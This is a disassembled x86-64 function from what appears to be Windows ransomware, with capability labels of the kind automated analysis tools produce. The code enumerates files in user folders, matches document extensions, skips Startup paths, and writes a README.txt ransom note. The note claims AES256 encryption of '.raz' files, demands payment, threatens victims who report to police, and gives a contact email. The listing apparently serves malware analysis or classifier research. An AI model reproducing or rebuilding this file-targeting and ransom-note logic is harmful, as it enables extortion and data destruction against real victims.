Function at 0x140001a50
Capabilities:
Enumerate files on windows
Get common file path
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
vmovdqu xmm0, xmmword [0x140003620]
xor ebx, ebx
mov dword [rsp + 0x48], 0xe
lea rax, [rsp + 0x38]
mov dword [rbp + 0x518], ebx
vmovdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rax
mov r13, r8
mov r14, rdx
mov dword [rsp + 0x4c], 0x28
mov r15, rcx
mov edx, dword [rax]
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140001dea
lea r9, [rbp + 0x60]
mov edx, 0x104
lea r8, str._s
lea rcx, [rbp + 0x3c0]
call fcn.140001060
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001dea
nop
test byte [rbp + 0x170], 0x10
lea rcx, [rbp + 0x19c]
je 0x140001c26
lea r8, [0x14000535c]
sub r8, rcx
nop
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140001b43
inc rcx
test eax, eax
jne 0x140001b30
test edx, edx
je 0x140001c95
lea rax, [rbp + 0x19c]
lea r8, [0x140005358]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001b73
inc rax
test ecx, ecx
jne 0x140001b60
test edx, edx
je 0x140001c95
lea rax, [rbp + 0x19c]
mov edx, 0x104
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x50]
call fcn.140001060
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
nop word [rax + rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rbp + 0x2b0]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rbp + 0x2b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001be2
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001c95
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001bb0
mov r9, r13
lea rcx, [rsp + 0x50]
mov r8, r14
mov rdx, r15
call fcn.140001700
jmp 0x140001c95
mov edx, 0x2e
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov rsi, rax
test rax, rax
je 0x140001c95
xor edi, edi
lea rbx, str..doc
mov rdx, qword [rbx]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001c5f
inc edi
add rbx, 8
cmp edi, 0x45
jb 0x140001c42
jmp 0x140001c95
lea rax, [rbp + 0x19c]
mov edx, 0x104
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea r8, [0x140005348]
lea rcx, [rsp + 0x50]
call fcn.140001060
mov r8, r14
lea rcx, [rsp + 0x50]
mov rdx, r15
call fcn.140001340
lea rdx, [rbp + 0x170]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001b10
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
nop word [rax + rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x50]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001cf0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001d1c
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001cc0
xor eax, eax
jmp 0x140001d21
mov eax, 1
test eax, eax
jne 0x140001ddb
xor ebx, ebx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x50]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001d60
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001ddb
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001d32
lea r9, [rbp + 0x60]
mov edx, 0x104
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x2b0]
call fcn.140001060
lea rdx, [0x14000574c]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001ddb
mov r8, r13
lea rdx, str._Your_files_have_been_encrypted__._nUsing_advanced_AES256_encryption_technique_your_databases__documents__photos_and_other_important_files_have_been_encrypted._nSee_for_yourself__look_at_any_file_with_.raz_extension._nYou_cannot_recover_these_files_yourself._nDo_not_waste_your_time._Nobody_can_recover_your_files._Only_we_can_._nWe_can_decrypt_these_files__we_can_guarantee_that_your_files_can_be_decrypted__but_you_have_little_time._nPayment_for_the_decryption_is__70_nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_decryption__we_WILL_attack_you_again_______nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_recovery__nSent_the_personal_ID_to_d3cryptme_firemail.cc_nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__we_will_publish_your_data_online__n____Your_personal_ID:__s_____n
mov rcx, rax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [rbp + 0x518]
mov rax, qword [rsp + 0x30]
inc ebx
add rax, 4
mov dword [rbp + 0x518], ebx
mov qword [rsp + 0x30], rax
cmp ebx, 6
jb 0x140001ab0
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret